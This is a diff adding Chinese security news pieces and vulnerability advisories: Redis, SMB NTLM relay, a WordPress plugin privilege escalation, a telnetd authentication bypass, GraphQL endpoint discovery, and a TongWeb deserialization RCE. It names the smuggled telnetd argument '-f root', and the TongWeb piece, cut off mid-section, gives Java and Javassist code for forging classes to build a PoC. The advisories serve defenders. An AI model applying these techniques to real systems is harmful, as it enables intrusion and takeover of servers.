+此命令用于优化流处理,支持在单个原子操作中确认并删除多条消息,但开发者未对用户输入的消息ID数量进行边界检查。当攻击者传入的ID数量超过函数栈上固定大小数组的容量时,数据会溢出并覆盖栈上的关键内存,包括函数返回地址。
+
+
+更令人担忧的是,JFrog团队发现官方Redis Docker镜像未启用栈金丝雀(stack canary)保护机制,这一安全疏漏让原本复杂的栈溢出攻击变得极易实现。攻击者可精准控制指令指针,通过面向返回编程(ROP)绕过NX(不可执行)保护,调用系统mprotect函数将栈标记为可执行,最终运行恶意Shellcode。研究人员已通过构造包含XGROUP CREATE和特制XACKDEL命令的攻击序列,成功触发反向Shell,完整验证了攻击链的可行性。
+
+
+根据Shodan扫描数据,全球约有3262台服务器运行受影响的Redis版本,其中美国、德国、中国的暴露数量位居前三。由于Redis默认不强制身份验证,该漏洞可被未经授权的远程攻击者直接利用,成为黑客的重点攻击目标。
+
+
+目前,Redis官方已在8.3.2版本中修复该漏洞。安全专家建议所有使用受影响版本的用户立即升级,并检查Redis实例的网络暴露情况,限制公网访问以降低被攻击风险。
+
+
+
+资讯来源
+:
+securityonline.info
+
+转载请注明出处和本文链接
+
+
+
+﹀
+
+﹀
+
+﹀
+
+
+
+
+
+
+**球分享**
+
+
+
+**球点赞**
+
+
+
+**球在看**
+
diff --git a/doc/2026-01/Windows SMB客户端漏洞可导致攻击者掌控Active Directory环境.md b/doc/2026-01/Windows SMB客户端漏洞可导致攻击者掌控Active Directory环境.md
new file mode 100644
index 00000000..eed5e00d
--- /dev/null
+++ b/doc/2026-01/Windows SMB客户端漏洞可导致攻击者掌控Active Directory环境.md
@@ -0,0 +1,48 @@
+# Windows SMB客户端漏洞可导致攻击者掌控Active Directory环境
+ 船山信安 2026-01-21 09:00
+
+
+
+Windows SMB客户端身份验证机制存在一个高危漏洞,攻击者可利用NTLM反射攻击方式入侵Active Directory环境。该漏洞被归类为访问控制不当漏洞,授权攻击者可通过精心设计的网络认证中继攻击实现权限提升。
+
+尽管微软已于2025年6月发布安全补丁,但最新研究显示企业基础设施中普遍存在未修复情况。渗透测试显示,域控制器、零级服务器和工作站等设备几乎都存在该漏洞风险。该漏洞利用了Windows NTLM本地认证的基础机制。
+
+
+
+当客户端收到标记为本地认证的NTLM_CHALLENGE消息时,系统会创建上下文对象并将上下文ID插入Reserved字段。结合PetitPotam、DFSCoerce和Printerbug等强制认证技术,可诱使以SYSTEM权限运行的lsass.exe向攻击者控制的服务器进行认证。
+
| 关键信息 | 详细说明 |
|---|
| CVE编号 | |
| 漏洞类型 | |
| 攻击向量 | |
| 补丁发布时间 | |
| 主要影响 | |
| 当前状态 | |
+服务器随后会模拟SYSTEM令牌执行后续操作,最终实现完全系统控制。
+## 攻击条件与利用途径
+
+攻击者需要在AD DNS中注册恶意DNS记录(默认允许认证用户操作)或在本地网络实施DNS投毒攻击。
+
+
+
+由于多数企业未限制认证用户在AD DNS区域创建任意DNS记录的权限,这种低权限要求显著扩大了攻击面。传统防御措施难以应对高级攻击向量。
+
+虽然SMB签名通常能阻止中继攻击,但研究证实即使启用签名和通道绑定,攻击者仍能实现从SMB到LDAPS的跨协议中继攻击。攻击者通过剥离特定NTLMSSP标志(Negotiate Always Sign、Negotiate Seal、Negotiate Sign)同时保留消息完整性代码,可同时绕过多项安全控制。
+## 超越SMB签名的扩展攻击面
+
+该漏洞影响范围远超传统SMB-to-SMB中继攻击。DepthSecurity研究人员证实,通过跨协议中继技术可成功攻击ADCS注册服务、MSSQL数据库和WinRMS系统。
+
+更严重的是,SMB-to-LDAPS反射攻击允许攻击者直接以SYSTEM权限操纵Active Directory对象,包括修改组成员资格和通过DCSync操作获取凭证。
+
+RPC中继尝试显示其会话密钥加密要求与SMB签名类似,表明Windows基础认证机制加剧了该漏洞的影响。
+
+
+
+攻击者虽能成功认证RPC服务,但在后续操作中会遇到访问控制限制,这为通过Net-NTLMv1认证实施攻击提供了可能途径。
+## 缓解措施建议
+
+DepthSecurity建议企业应立即应用2025年6月Windows安全更新作为首要缓解措施。此外,应在所有协议(不仅限于SMB)上启用签名和通道绑定强制实施。
+
+
+
+重新配置Active Directory DNS区域访问控制列表,限制认证用户创建DNS记录的权限,可显著降低漏洞利用可行性。安全团队应优先修补NTLM强制认证技术漏洞,并对基础设施中的NTLM中继攻击方法进行全面审计。
+
+
+来源:h
+ttps://www.freebuf.com/articles/system/467196.html
+
+感谢假装自己很用心
+
diff --git a/doc/2026-01/WordPress插件AdvancedCustomFieldsExtended曝高危漏洞.md b/doc/2026-01/WordPress插件AdvancedCustomFieldsExtended曝高危漏洞.md
new file mode 100644
index 00000000..e8c93136
--- /dev/null
+++ b/doc/2026-01/WordPress插件AdvancedCustomFieldsExtended曝高危漏洞.md
@@ -0,0 +1,89 @@
+# WordPress插件AdvancedCustomFields:Extended曝高危漏洞
+ SecHub网络安全社区 2026-01-21 10:03
+
+****
+****
+****
+**点击蓝字 关注我们**
+
+
+
+
+**免责声明**
+
+本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。
+
+如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
+
+文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。
+## 🌟简介
+
+
+
+
+
+
+ WordPress 的 Advanced Custom Fields: Extended 插件特定范围版本中存在权限提升漏洞,漏洞编号为 CVE-2025-14533,CVSS 基础评分:9.8。这是由于'insert_user'函数没有限制用户注册时可使用的角色。这使得未经身份验证的攻击者可以在注册时提供'administrator'角色,并获得对网站的管理员访问权限。
+
+
+
+ 注意:目前已有相关验证POC,当前互联网上有约10万台WordPress网站面临被接管隐患。
+
+影响版本
+# 所有<=0.9.2.1的版本
+
+# 详情ACF Erweitert 通过添加额外的字段类型和“帮助”功能扩展了 ACF,这些功能涵盖了前端表单的处理。其中一项功能允许从前端提交用户创建流程。安全漏洞使得未经身份验证的请求能够在某些插件版本中触发“插入用户”操作,而无需进行适当的权限检查或 Nonce 验证。简而言之:未经身份验证的 HTTP 请求可以创建具有更高权限的新用户。获得提升权限的攻击者的后果:创建具有持久访问权限的管理员账户。安装恶意软件、后门或恶意插件/主题。数据盗窃或破坏(文章、客户信息)。使用可重用凭据将数据迁移到其他系统。SEO 垃圾邮件、钓鱼网站或利用该网站作为其他攻击的跳板。由于攻击向量是无认证的并且可以自动化,因此广泛的扫描和自动化利用是现实的风险。因此,即使在计划插件更新维护窗口之前,也需要快速缓解。注意:只有当'role'映射到自定义字段时,该漏洞才能被利用处置措施1.更新插件:立即将 ACF Extended 更新到 0.9.2.2 或更高版本,在每个网站上。这是唯一的长久解决方案。如果您使用托管部署管道或预发布网站,请在下一个维护窗口期间优先进行生产升级——但在此期间请应用缓解措施。2.如果您无法立即更新:请应用临时缓解措施(虚拟补丁)。如果您已启用 ACF Extended 中的前端用户创建功能,请禁用它(删除或禁用创建用户的表单)。限制对 AJAX 端点的访问(如果可能),仅限于已知来源、已登录用户,或拒绝具有可疑组合的请求(参见检测和 WAF 指南)。
+
+
+
+
+欢迎关注SecHub网络安全社区,SecHub网络安全社区目前邀请式注册,邀请码获取见公众号菜单【邀请码】
+
+**#**
+
+
+**企业简介**
+
+
+**赛克艾威 - 网络安全解决方案提供商**
+
+****
+ 北京赛克艾威科技有限公司(简称:赛克艾威),成立于2016年9月,提供全面的安全解决方案和专业的技术服务,帮助客户保护数字资产和网络环境的安全。
+
+
+安全评估|渗透测试|漏洞扫描|安全巡检
+
+代码审计|钓鱼演练|应急响应|安全运维
+
+重大时刻安保|企业安全培训
+
+
+
+
+**联系方式**
+
+电话|010-86460828
+
+官网|https://sechub.com.cn
+
+
+
+
+**关注我们**
+
+
+
+
+
+
+
+
+
+
+**公众号:**
+sechub安全
+
+**哔哩号:**
+SecHub官方账号
+
+
diff --git a/doc/2026-01/【安全圈】WordPress 插件漏洞导致 10 万余个网站面临权限提升攻击风险.md b/doc/2026-01/【安全圈】WordPress 插件漏洞导致 10 万余个网站面临权限提升攻击风险.md
new file mode 100644
index 00000000..b0e41f2b
--- /dev/null
+++ b/doc/2026-01/【安全圈】WordPress 插件漏洞导致 10 万余个网站面临权限提升攻击风险.md
@@ -0,0 +1,131 @@
+# 【安全圈】WordPress 插件漏洞导致 10 万余个网站面临权限提升攻击风险
+ 安全圈 2026-01-21 11:01
+
+
+
+
+**关键词**
+
+
+
+漏洞
+
+
+一项严重的安全漏洞出现在广受欢迎的 **Advanced Custom Fields: Extended**
+ WordPress 插件中,已使 **10 万多个网站**
+ 面临被完全接管的风险。
+
+
+
+该漏洞编号为 **CVE-2025-14533**
+,影响插件 **0.9.2.1 及之前版本**
+,CVSS 评分高达 **9.8(严重)**
+。
+
+如果未及时修补,未认证的攻击者可以利用用户注册表单中角色处理机制的缺陷,直接获得管理员级别权限。
+### 漏洞成因
+
+该问题源于插件通过自定义表单创建用户的实现方式。网站管理员可使用字段组构建注册或用户资料表单,收集用户名、邮箱、密码以及用户角色等信息。
+
+在正常情况下,新注册用户的角色应受到严格限制,通常只允许诸如“订阅者(subscriber)”等低权限角色。然而,在受影响的版本中,这一控制机制失效,为滥用打开了大门。
+
+Wordfence 分析人员发现,当表单中映射了角色字段时,插件的 insert_user 表单动作并未正确限制注册过程中可分配的角色。
+
+这意味着,攻击者可以提交一个精心构造的请求,即使前端界面限制了可选角色,也能在请求中将自己的角色设置为管理员。
+
+一旦请求被处理,系统就会创建一个拥有完整管理员权限的账户。获得管理权限后,攻击者即可**彻底控制**
+受影响的 WordPress 网站。
+### 潜在影响
+
+攻击者在取得管理员权限后,可以:
+- 上传带有后门的恶意插件或主题
+
+- 篡改网站内容,将访客重定向至钓鱼或恶意网站
+
+- 植入垃圾内容或 SEO 投毒代码
+
+- 创建额外的管理员账户以维持长期访问权限
+
+鉴于该插件安装量巨大,且在存在漏洞配置时利用门槛极低,只要网站将相关用户操作表单暴露在公网,就可能遭受严重影响。
+### 修复与风险现状
+
+在漏洞披露时,插件开发方已在 **0.9.2.2 版本**
+中发布修复补丁,安全厂商也在防火墙层面提供了针对利用行为的拦截措施。
+
+然而,那些**尚未更新插件、且仅依赖应用层防护**
+的网站,仍然是攻击者进行自动化扫描和入侵的理想目标。
+### 漏洞详情一览表
+ | |
|---|
| |
| Advanced Custom Fields: Extended |
| |
| |
| |
| |
| |
| |
| |
| |
| andrea bocchetti(Wordfence 漏洞悬赏) |
### 权限提升是如何实现的?
+
+该漏洞的核心在于插件高度灵活的表单系统,其初衷是让站点管理员无需编写代码即可构建自定义的用户管理流程。
+
+在典型配置中,管理员会定义一个字段组,包含用户信息字段,并将其关联到“创建用户”或“更新用户”的表单动作。其中一个字段可以是角色选择器,表面上受到“允许用户角色(Allow User Role)”设置的限制。
+
+但在后台,当表单提交时,插件会在 acfe_module_form_action_user
+ 类中调用 insert_user()
+ 函数。该函数会收集所有提交的数据(包括角色字段),并直接传递给 WordPress 原生的 wp_insert_user()
+ 函数。
+
+问题在于,在受影响版本中,插件并未在后端强制执行字段组中配置的角色限制。前端设置营造了安全假象,但后端逻辑并未遵守这些规则。
+
+因此,只要存在一个包含角色字段的公开表单,未认证攻击者就可以绕过可见的角色选项,在 HTTP 请求中自行指定角色(如 administrator)。由于插件未对该值进行校验或过滤,WordPress 会接受请求并创建一个拥有完整管理员权限的账户。
+
+整个过程**无需已有账号、社会工程学手段或密码猜测**
+,直接构成一条通向网站完全失陷的通道。
+
+一旦攻击者以管理员身份进入系统,便拥有与合法站点所有者相同的控制能力,可持续操纵和破坏网站。这使得 **CVE-2025-14533**
+ 成为在特定配置存在时,导致 WordPress 网站被全面攻陷的高危漏洞。
+
+
+ END
+
+
+阅读推荐
+
+
+[【安全圈】网络工程师李某以技术手段窃取赌博网站184万余名中国公民个人信息,警方已扣押其180余个比特币](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652073800&idx=1&sn=2243bc4e8751be2209553741800e555d&scene=21#wechat_redirect)
+
+
+
+[【安全圈】Linux 用户注意:Snap Store 爆发新型攻击,过期域名成黑客后门](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652073800&idx=2&sn=4a017624a7c6c15eef19008560c122cd&scene=21#wechat_redirect)
+
+
+
+[【安全圈】密码管理器 Keepass 不兼容 1 月 Win11 更新,导致自动填充失效](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652073800&idx=3&sn=75b7460e72bb4f2ede8a6b357fe3a0ec&scene=21#wechat_redirect)
+
+
+
+[【安全圈】苹果督促用户更新 iPhone 高危漏洞](https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652073786&idx=1&sn=651dca9c8e72b03014a22b79574bf873&scene=21#wechat_redirect)
+
+
+
+
+
+
+
+
+
+
+**安全圈**
+
+
+
+
+←扫码关注我们
+
+**网罗圈内热点 专注网络安全**
+
+**实时资讯一手掌握!**
+
+
+
+
+**好看你就分享 有用就点个赞**
+
+**支持「****安全圈」就点个三连吧!**
+
+
+
+
+
+
diff --git a/doc/2026-01/【已复现】GNU InetUtils telnetd 远程身份认证绕过漏洞(QVD-2026-4408)安全风险通告.md b/doc/2026-01/【已复现】GNU InetUtils telnetd 远程身份认证绕过漏洞(QVD-2026-4408)安全风险通告.md
new file mode 100644
index 00000000..3e3ba3f4
--- /dev/null
+++ b/doc/2026-01/【已复现】GNU InetUtils telnetd 远程身份认证绕过漏洞(QVD-2026-4408)安全风险通告.md
@@ -0,0 +1,172 @@
+# 【已复现】GNU InetUtils telnetd 远程身份认证绕过漏洞(QVD-2026-4408)安全风险通告
+ 奇安信 CERT 2026-01-21 08:26
+
+●
+点击↑蓝字关注我们,获取更多安全风险通告
+
+
+漏洞概述
|
漏洞名称 | GNU InetUtils telnetd 远程身份认证绕过漏洞 |
漏洞编号 | QVD-2026-4408
|
公开时间 | 2026-01-20 | 影响量级 | 万级 |
奇安信评级 | 高危 | CVSS 3.1分数 | 9.8 |
威胁类型 | 身份认证绕过 | 利用可能性 | 高 |
POC状态 | 已公开 | 在野利用状态 | 未发现 |
EXP状态 | 已公开 | 技术细节状态 | 已公开 |
危害描述:远程攻击者可利用该缺陷在无需任何口令的情况下直接获取目标主机的 root shell,造成接管机器、敏感信息被窃取或进一步横向移动。 |
+
+
+**0****1**
+
+**漏洞详情**
+
+**>**
+**>**
+**>**
+**>**
+
+**影响组件**
+
+GNU InetUtils telnetd 是 GNU InetUtils 套件中的远程登录服务守护进程,监听 TCP 23 端口,为客户端提供基于 Telnet 协议的明文终端接入能力。
+主流 Linux 发行版在安装 telnet 服务器时默认选择不是 inetutils-telnetd,但依旧作为可选项存在于官方仓库中。
+
+**>**
+**>**
+**>**
+**>**
+
+**漏洞描述**
+
+近日,奇安信CERT监测到官方修复
+GNU InetUtils telnetd 远程身份认证绕过漏洞(QVD-2026-4408),telnetd 在调用系统 /usr/bin/login 程序时,未对从客户端 USER 环境变量传入的用户名做过滤,直接拼接到 login 命令行。未经授权的远程攻击者可利用该缺陷,在无需任何口令的情况下直接获取目标主机的 root shell,造成完全控制权泄露、敏感信息被窃取或进一步横向移动。
+该漏洞PoC和技术细节已公开,
+目前观察到的受影响设备以NAS设备为主
+。
+鉴于该漏洞影响范围较大,建议客户尽快做好自查及防护。
+
+
+**02**
+
+**影响范围**
+
+**>**
+**>**
+**>**
+**>**
+
+**影响版本**
+
+1.9.3 <= GNU InetUtils <= 2.7
+
+**>**
+**>**
+**>**
+**>**
+
+**其他受影响组件**
+
+无
+
+
+**03**
+
+**复现情况**
+
+目前,奇安信威胁情报中心安全研究员已成功复现
+GNU InetUtils telnetd 远程身份认证绕过漏洞(QVD-2026-4408)****
+,截图如下:
+
+
+
+
+
+
+
+
+**04**
+
+**处置建议**
+
+**>**
+**>**
+**>**
+**>**
+
+**安全更新**
+
+官方已发布安全补丁,请及时通过包管理器更新至最新版本:
+Debian/Ubuntu: sudo apt update && sudo apt install inetutils-telnetd
+
+RHEL/CentOS: sudo dnf upgrade inetutils
+
+Alpine: apk upgrade inetutils
+
+或手动应用补丁:
+```
+wget https://codeberg.org/inetutils/inetutils/commit/fd702c02497b2f398e739e3119bed0b23dd7aa7b.patch
+wget https://codeberg.org/inetutils/inetutils/commit/ccba9f748aa8d50a38d7748e2e60362edd6a32cc.patch
+patch -p1 < fd702c0.patch
+patch -p1 < ccba9f7.patch
+./configure && make && sudo make install
+```
+
+临时缓解措施:
+
+禁用 telnetd 服务器,或使 IntelUtils telnetd 调用不带有“-f”参数的 login 工具。
+
+**>**
+**>**
+**>**
+**>**
+
+**产品解决方案**
+
+**奇安信天眼检测方案**
+
+奇安信天眼新一代安全感知系统已经能够有效检测针对该漏洞的攻击,请将规则版本升级到3.0.0121.14936或以上版本。规则ID及规则名称:
+
+0x6105,GNU InetUtils telnetd 远程认证绕过漏洞(QVD-2026-4408)。奇安信天眼流量探针规则升级方法:系统配置->设备升级->规则升级,选择“网络升级”或“本地升级”。
+
+
+
+
+**05**
+
+**参考资料**
+
+[1]https://www.openwall.com/lists/oss-security/2026/01/20/2
+
+
+
+
+**06**
+
+**时间线**
+
+2026年01月21日,奇安信 CERT发布安全风险通告。
+
+
+
+**07**
+
+**漏洞情报服务**
+
+
+奇安信ALPH
+A
+威胁分析平台已支持漏洞情报订阅服务:
+
+
+
+
+
+
+
+
+
+
+**奇安信 CERT**
+
+**致力于**
+第一时间为企业级用户提供**权威**
+漏洞情报和**有效**
+解决方案。
+
+
+
+点击↓**阅读原文**
+,到**ALPHA威胁分析平台**
+订阅更多漏洞信息。
+
diff --git a/doc/2026-01/【已复现】多款 Linux telnetd服务中招,仅需一个参数即可远程获取 Root 权限,GNU Inetutils telnetd 远程认证绕过漏洞(CVE-2026-24061).md b/doc/2026-01/【已复现】多款 Linux telnetd服务中招,仅需一个参数即可远程获取 Root 权限,GNU Inetutils telnetd 远程认证绕过漏洞(CVE-2026-24061).md
new file mode 100644
index 00000000..9c246613
--- /dev/null
+++ b/doc/2026-01/【已复现】多款 Linux telnetd服务中招,仅需一个参数即可远程获取 Root 权限,GNU Inetutils telnetd 远程认证绕过漏洞(CVE-2026-24061).md
@@ -0,0 +1,138 @@
+# 【已复现】多款 Linux telnetd服务中招,仅需一个参数即可远程获取 Root 权限,GNU Inetutils telnetd 远程认证绕过漏洞(CVE-2026-24061)
+原创 360漏洞研究院
+ 360漏洞研究院 360漏洞研究院 2026-01-21 10:41
+
+“扫描下方二维码,进入公众号粉丝交流群。更多一手网安资讯、漏洞预警、技术干货和技术交流等您参与!”
+
+
+
+
+
+
+ |
| GNU Inetutils telnetd 远程认证绕过漏洞 |
| |
| | | |
| | | |
| | | |
| | | |
+
+
+**01**
+
+影响组件
+
+
+
+GNU Inetutils 是一套包含 telnetd、ftpd 等程序的网络工具集。telnetd 作为远程终端登录服务的守护进程,广泛存在于嵌入式设备及特定 Linux 发行版(如 Debian、Ubuntu、Trisquel)中。
+
+
+**02**
+
+**漏洞描述**
+
+
+
+近日,GNU 官方披露了 GNU Inetutils 中 telnetd 服务的远程认证绕过漏洞(**CVE-2026-24061**
+)。**由于程序在调用 /usr/bin/login 时未对 USER 环境变量进行有效过滤,攻击者可通过注入特殊命令行参数(如 -f root)绕过密码校验,直接获取系统的 root 权限。**
+
+
+**以下主流发行版在执行 apt install telnetd 时默认安装受影响版本,部分 Linux 及嵌入式设备可能同样集成相关 telnetd 实现存在类似影响:**
+
+
+
+可通过以下命令自行确认 telnetd 的来源包:
+```
+apt show telnetd | grep -E "Source"
+```
+
+
+**03**
+
+**漏洞复现******
+
+
+
+360 漏洞研究院已复现 GNU Inetutils telnetd 远程认证绕过漏洞(CVE-2026-24061),经测试,远程攻击者仅需简单参数注入即可远程获取目标服务器 root 权限。
+
+
+
+CVE-2026-24061
+GNU Inetutils telnetd 远程认证绕过漏洞
+复现
+
+
+**04**
+
+**漏洞影响范围******
+
+
+
+受影响版本:
+
+1.9.3 <= GNU Inetutils <= 2.7
+
+
+**05**
+
+**修复建议******
+
+
+
+**正式防护方案**
+
+通过包管理器将GNU Inetutils升级为2.7以上版本,建议关闭 telnet 服务并切换至 SSH。
+
+Debian/Ubuntu 系统:
+```
+sudo apt update
+sudo apt upgrade inetutils-telnetd
+```
+
+RHEL/CentOS/Fedora 系统:
+```
+sudo dnf update inetutils 或
+sudo yum update inetutils
+```
+
+Arch Linux 系统:
+```
+sudo pacman -Syu inetutils
+```
+
+
+**06**
+
+**时间线**
+
+
+
+2026年1月21日,360漏洞研究院发布本安全风险通告。
+
+
+**07**
+
+参考链接
+
+
+
+https://nvd.nist.gov/vuln/detail/CVE-2026-24061
+
+
+08
+
+更多漏洞情报
+
+
+
+建议您订阅360数字安全-漏洞情报服务,获取更多漏洞情报详情以及处置建议,让您的企业远离漏洞威胁。
+
+
+邮箱:360VRI@360.cn
+
+网址:https://vi.loudongyun.360.net
+
+
+
+“洞”悉网络威胁,守护数字安全
+
+
+**关于我们**
+
+
+360 漏洞研究院,隶属于360数字安全集团。其成员常年入选谷歌、微软、华为等厂商的安全精英排行榜, 并获得谷歌、微软、苹果史上最高漏洞奖励。研究院是中国首个荣膺Pwnie Awards“史诗级成就奖”,并获得多个Pwnie Awards提名的组织。累计发现并协助修复谷歌、苹果、微软、华为、高通等全球顶级厂商CVE漏洞3000多个,收获诸多官方公开致谢。研究院也屡次受邀在BlackHat,Usenix Security,Defcon等极具影响力的工业安全峰会和顶级学术会议上分享研究成果,并多次斩获信创挑战赛、天府杯等顶级黑客大赛总冠军和单项冠军。研究院将凭借其在漏洞挖掘和安全攻防方面的强大技术实力,帮助各大企业厂商不断完善系统安全,为数字安全保驾护航,筑造数字时代的安全堡垒。
+
diff --git a/doc/2026-01/【接口漏洞第八章第二节】挖掘GraphQL漏洞第一步:高效发现端口的三大实战技巧.md b/doc/2026-01/【接口漏洞第八章第二节】挖掘GraphQL漏洞第一步:高效发现端口的三大实战技巧.md
new file mode 100644
index 00000000..3a2d3723
--- /dev/null
+++ b/doc/2026-01/【接口漏洞第八章第二节】挖掘GraphQL漏洞第一步:高效发现端口的三大实战技巧.md
@@ -0,0 +1,95 @@
+# 【接口漏洞第八章第二节】挖掘GraphQL漏洞第一步:高效发现端口的三大实战技巧
+原创 升斗安全XiuXiu
+ 升斗安全XiuXiu 升斗安全 2026-01-21 10:44
+
+**【文章说明】**
+- **目的**
+:本文内容仅为网络安全**技术研究与教育**
+目的而创作。
+
+- **红线**
+:严禁将本文知识用于任何**未授权**
+的非法活动。使用者必须遵守《网络安全法》等相关法律。
+
+- **责任**
+:任何对本文技术的滥用所引发的**后果自负**
+,与本公众号及作者无关。
+
+- **免责**
+:内容仅供参考,作者不对其准确性、完整性作任何担保。
+
+**阅读即代表您同意以上条款。**
+
+****
+上一节[【接口漏洞第八章第一节】挖洞前必修课:一文读懂GraphQL API核心概念](https://mp.weixin.qq.com/s?__biz=MjM5MzM0MTY4OQ==&mid=2447797764&idx=1&sn=da6733327b48ce9bb23c60e66c1b6583&scene=21#wechat_redirect)
+中,我们大概了解了
+GraphQL API的相关概念,今天我们来进一步了解下,
+如何
+寻找GraphQL端点
+
+在测试
+GraphQL API之前,首先需要找到其端点。由于
+GraphQL API 所有请求都使用同一端点,因此这一信息非常关键。
+
+注意:我们在这里介绍的是如何
+手动探测GraphQL端点。但
+BurpSuite 工具的
+Scanner 在扫描过程中可
+自动测试 GraphQL 端点,若发现此类端点,工具就会报告“发现GraphQL端点”问题。如下,就是工具自动发现的端点。
+
+
+
+通过通用查询来查找端点:
+
+如果向任意GraphQL端点发送查询
+query{__typename},其响应中某处会包含字符串
+ {"data": {"__typename": "query"}}。这称为“通用查询”,这是是探测某URL是否对应GraphQL服务的实用方法。
+
+此查询之所以有效,是因为每个GraphQL端点都有一个保留字段
+__typename,该字段会以字符串形式返回被查询对象的类型。
+
+通过常见端点命名来查找端点:
+
+GraphQL服务常使用相似的端点后缀。测试GraphQL端点时,可尝试向以下位置发送通用查询:
+- /graphql
+
+- /api
+
+- /api/graphql
+
+- /graphql/api
+
+- /graphql/graphql
+
+
+如果这些常见端点未返回GraphQL响应,还可尝试在路径后追加
+/v1。
+
+注意:
+
+GraphQL服务常对任何非GraphQL请求返回“
+查询不存在”或类似错误。测试端点时请记住这一点。
+
+通过不同的请求方法来查找端点:
+
+尝试使用不同请求方法也是
+寻找GraphQL端点的一种方式
+
+通常情况下 GraphQL 端点最佳做法是仅接受
+content-type 为
+application/json 的
+POST 请求,这有助于防范CSRF漏洞。但有些端点可能接受其他方法,例如
+GET 请求或使用
+x-www-form-urlencoded 作为
+content-type 的
+POST 请求。
+
+如果通过向常见端点发送POST请求未能找到GraphQL端点,可尝试使用其他HTTP方法重新发送通用查询。
+
+通过以上方式后,一旦发现端点,我们就可以发送一些测试请求以进一步了解其工作原理。如果该端点支撑着某个网站,可尝试在浏览器中探索该Web界面,并通过HTTP历史记录检查发送的查询,并进一步挖掘
+GraphQL API 相关漏洞。更加详细的挖掘方式和思路,我们在后续章节中,会陆续分享。
+
+今天的内容就先分享到这,对这块感兴趣的话,可以点点关注,这边会持续输出相关分享内容。
+
+觉得内容对你有用或无用,欢迎点赞或留言,这边会不断更正。
+
diff --git a/doc/2026-01/东⽅通(TongWeb)应⽤服务器 EJB 反序列化远程代码执⾏漏洞.md b/doc/2026-01/东⽅通(TongWeb)应⽤服务器 EJB 反序列化远程代码执⾏漏洞.md
new file mode 100644
index 00000000..10447357
--- /dev/null
+++ b/doc/2026-01/东⽅通(TongWeb)应⽤服务器 EJB 反序列化远程代码执⾏漏洞.md
@@ -0,0 +1,251 @@
+# 东⽅通(TongWeb)应⽤服务器 EJB 反序列化远程代码执⾏漏洞
+原创 Bear Hackers
+ Bear Hackers Bear Hackers Industry 2026-01-21 10:50
+
+
+
+
+
+🚶🚶每一步,都算数。
+
+
+# 0x01 简介
+
+TongWeb 是东方通(Beijing Tongtech Co., Ltd.)自主研发的企业级应用服务器,全面支持 Java EE(现 Jakarta EE)标准,兼容主流开发框架,广泛应用于金融、电信、政府、能源等关键行业的信息化和数字化转型。TongWeb 具备高性能、高可用、分布式和集群部署能力,支持微服务架构、容器化和云原生环境,能够灵活适配多种操作系统和硬件平台。其核心功能包括事务管理、连接池、消息服务、安全认证、负载均衡和故障自动切换等,保障企业关键业务系统的稳定运行与高并发处理能力。TongWeb 还提供完善的运维管理工具和监控体系,便于企业实现中间件平台的高效运维和智能管理,是国内主流的中间件解决方案之一。
+# 0x02 漏洞描述
+
+该漏洞的核心在于 **TongWeb 应用服务器在默认配置下,将 ejbserver接口暴露在 Web 端口,同时其 EJB 服务接口未能对输入的 Java 序列化对象进行有效的安全过滤**
+。
+
+TongWeb 默认在 Web 容器里挂载 /ejbserver
+路径,把外部 HTTP 请求直接转发给内部 EJB 二进制 RPC 处理链。最终在 ServerMetaData.readExternal()
+里调用无任何白名单校验的 ObjectInputStream.readObject()
+。攻击者只需向 /ejbserver
+发送一段精心构造的 Java 原生序列化数据(内含 CommonsCollections、javax.swing.UIDefaults 等 Gadget Chain),服务器在反序列化过程中会自动执行 Gadget 里各个类在初始化阶段被回调的方法,串出一条通往 Runtime.exec()
+或 ProcessBuilder.start()
+的调用路径,从而实现远程代码执行(RCE)。
+
+官方补丁通过新增 OpenEJBValve
+限制仅内部监听地址可访问,并在反序列化层引入白名单机制,彻底堵死该利用路径。
+# 0x03 利用条件
+## 1) 影响版本
+- 7.0.0.0 <= TongWeb <= 7.0.4.9_M9
+
+- 6.1.7.0 <= TongWeb <= 6.1.8.13
+
+## 2) 权限要求:无需
+# 0x04 环境搭建
+
+搭建环境的时候根据需求执行 .sh
+脚本,有时需要修改启动/安装脚本或者配置文件中的配置路径。 另外,如果没有项目的源码也不要担心,还有以下三种替代方案可以构造 PoC:
+### 方案 A:手写“影子类” (Stubbing)
+
+根据 POC 代码,在本地创建一个**同包名、同类名**
+的空类,并实现 Serializable
+接口。
+**关键点:不仅要包名+类名一致,还必须把父类 javax.naming.Reference的所有私有字段原样拷贝,且 serialVersionUID必须与目标容器里的版本一字不差(可用 serialver或 ObjectStreamClass.lookup()提取)。**
+1. 在项目中创建包:com.tongweb.naming
+。
+
+1. 创建 ResourceRef
+:
+
+```
+package com.tongweb.naming;import javax.naming.Reference;import java.io.Serializable;publicclass ResourceRef extends Reference implements Serializable { privatestaticfinallong serialVersionUID = 目标容器的UID; // ← 必须一致 public ResourceRef(String className, String factory, String factoryLocation) { super(className, factory, factoryLocation); } // 把 POC 里的 7 参构造补齐 public ResourceRef(String className, String factory, String factoryLocation, String factoryInterface, boolean singleton, String beanFactory, String beanFactoryLocation) { super(className, factory, factoryLocation); setFactoryClassName(factory); setFactoryClassLocation(factoryLocation); setClassName(className); // 其余逻辑按 POC 实际参数补 }}
+```
+1. 同样方法伪造 ContextUtil.ReadOnlyBinding
+,注意把内部私有字段、serialVersionUID
+全部对齐。
+
+### 方案 B:使用字节码操纵库 (Javassist / ASM)
+
+如果不想手动建几十个文件夹,可以用 Javassist 动态生成:
+```
+ClassPool pool = ClassPool.getDefault();CtClass ct = pool.makeClass("com.tongweb.naming.ResourceRef");ct.setSuperclass(pool.get("javax.naming.Reference"));ct.addInterface(pool.get("java.io.Serializable"));// 必须显式设置 UIDct.addField(CtField.make("private static final long serialVersionUID = 目标UID;", ct));Class> clazz = ct.toClass(Poc.class, Poc.class.getClassLoader()); // 指定保护域,防止 IllegalAccessError
+```
+
